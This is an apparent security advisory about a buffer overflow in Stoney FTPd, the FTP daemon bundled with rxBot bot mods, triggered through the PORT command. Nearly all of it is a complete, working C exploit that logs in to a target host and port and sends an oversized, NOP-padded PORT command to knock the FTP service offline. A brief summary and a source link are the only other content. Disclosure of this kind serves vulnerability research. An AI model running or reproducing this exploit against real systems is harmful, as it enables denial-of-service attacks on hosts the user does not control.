[EXPL] Stoney FTPd Buffer Overflow (PORT, Exploit)

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  Stoney FTPd Buffer Overflow (PORT, Exploit)
------------------------------------------------------------------------


SUMMARY

Stoney FTPd is "FTP daemon, comes as part of rxBot mod". A buffer overflow 
vulnerability exists in Stoneys FTPd, due to the way the program handles 
PORT commands.

DETAILS

Exploit:
/*
    rx-dos.c by D-oNe

    There exists a buffer overflow in Stoneys FTPd that most rxBot mod's 
use.
    The problem lies in how the code parses the PORT command and gives an 
opportunity
    for a buffer overflow.
    
    Problem is that the ftpd also uses select() to handle multiple 
connections. So when
    sending the crafted PORT command select() returns NULL making it 
return and exit the
    FTPd thread resulting merely in a Denial Of Service of the FTPd with 
no crash of the bot
    itself.

    Tested with "rxBot reptile 0.37".
*/

#pragma comment(lib, "ws2_32")

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

unsigned char user[] =
    "\x55\x53\x45\x52\x20\x31";

unsigned char pass[] =
    "\x50\x41\x53\x53\x20\x31";

unsigned char overflow[] =
    "\x50\x4F\x52\x54\x20"
    "\x31\x2C\x31\x2C\x31\x2C\x31\x2C\x31\x2C\x31"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90";

int main(int argc, char *argv[])
{
    char szBuffer[128];
    struct sockaddr_in sin;
    SOCKET sock;
    WSADATA wsadata;
        printf("\nrxBot Stoney FTPd Denial Of Service Exploit by 
D-oNe\n\n");
    if (argc < 3)
    {
            printf("usage: %s <ip> <port>\n", argv[0]);
            printf("[-] Exiting...\n");
            return 0;
    }
    if (WSAStartup(0x0202, &wsadata) != 0)
    {
            printf("[-] WSAStartup() failed!\n");
            return 0;
    }
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(argv[1]);
        sin.sin_port = htons(atoi(argv[2]));
        sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == SOCKET_ERROR)
    {
            printf("[-] socket() failed!\n");
            return 0;
    }
        printf("[+] Connecting...\n");
    if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == 
SOCKET_ERROR)
    {
            printf("[-] connec()t failed!\n");
            return 0;
    }
        recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
    if ((szBuffer[0] != '2') && (szBuffer[1] != '2') && (szBuffer[2] != 
'0'))
    {
            printf("[-] Wrong string received!\n");
            return 0;
    }
        printf("[+] Sending USER...\n");
    if (!send(sock, user, sizeof(user), 0))
    {
            printf("[-] send() failed!\n");
            return 0;
    }
        recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
    if ((szBuffer[0] != '3') && (szBuffer[1] != '3') && (szBuffer[2] != 
'1'))
    {
            printf("[-] Wrong string received!\n");
            return 0;
    }
        printf("[+] Sending PASS...\n");
    if (!send(sock, pass, sizeof(pass), 0))
    {
            printf("[-] send() failed!\n");
            return 0;
    }
        recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
    if ((szBuffer[0] != '2') && (szBuffer[1] != '3') && (szBuffer[2] != 
'0'))
    {
            printf("[-] Wrong string received!\n");
            return 0;
    }
        printf("[+] Sending malicious PORT command...\n");
    if (!send(sock, overflow, sizeof(overflow), 0))
    {
            printf("[-] send() failed!\n");
            return 0;
    }
        memset(szBuffer, 0, sizeof(szBuffer));
        recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
        szBuffer[strlen(szBuffer) - 1] = '\0';
        printf("[+] Recvd: %s\n", szBuffer);
        closesocket(sock);
        WSACleanup();
        printf("[+] FTPd should be out of service!\n", szBuffer);
        return 0;
}


ADDITIONAL INFORMATION

The original article can be found at:  
<http://www.addict3d.org/index.php?page=viewarticle&type=security&ID=4918> 
http://www.addict3d.org/index.php?page=viewarticle&type=security&ID=4918



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